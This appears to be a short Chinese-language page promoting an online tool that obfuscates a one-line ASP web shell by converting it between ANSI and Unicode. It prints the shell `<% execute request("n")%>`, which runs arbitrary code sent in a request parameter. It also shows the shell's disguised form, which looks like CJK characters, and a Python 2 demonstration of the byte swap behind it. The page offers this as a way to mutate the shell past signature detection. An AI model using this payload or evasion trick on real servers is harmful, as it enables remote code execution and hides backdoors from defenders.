unicode2ansi一句话变异加解密

导出结果

unicode与ansi互转介绍


感觉这个转换比较有趣,就抽时间进行了分析,做成了一个在线小工具

实现的原理还是挺简单的

首先看下 <% execute request("n")%> 的hex表示:3c252065786563757465207265717565737428226e2229253e

再看一下 ┼攠數畣整爠煥敵瑳∨≮┩> 的unicode表示:u'\u253c\u6520\u6578\u7563\u6574\u7220\u7165\u6575\u7473\u2228\u226e\u2529>'

发现了什么?去掉\u或许会更明显

#! /usr/bin/env python2.7.11
>>> "┼攠數畣整爠煥敵瑳∨≮┩>".decode("gbk")
u'\u253c\u6520\u6578\u7563\u6574\u7220\u7165\u6575\u7473\u2228\u226e\u2529>'
#去掉\u 后:253c652065787563657472207165657574732228226e25293e
>>> '<% execute request("n")%>'.encode("hex")
'3c252065786563757465207265717565737428226e2229253e'
#对比
#253c652065787563657472207165657574732228226e25293e
#3c252065786563757465207265717565737428226e2229253e
#你发现了什么?

转换过程中不能出现?问号,出现问号表示转换内容丢失。切记

支持批量转换,一个换行符视为一行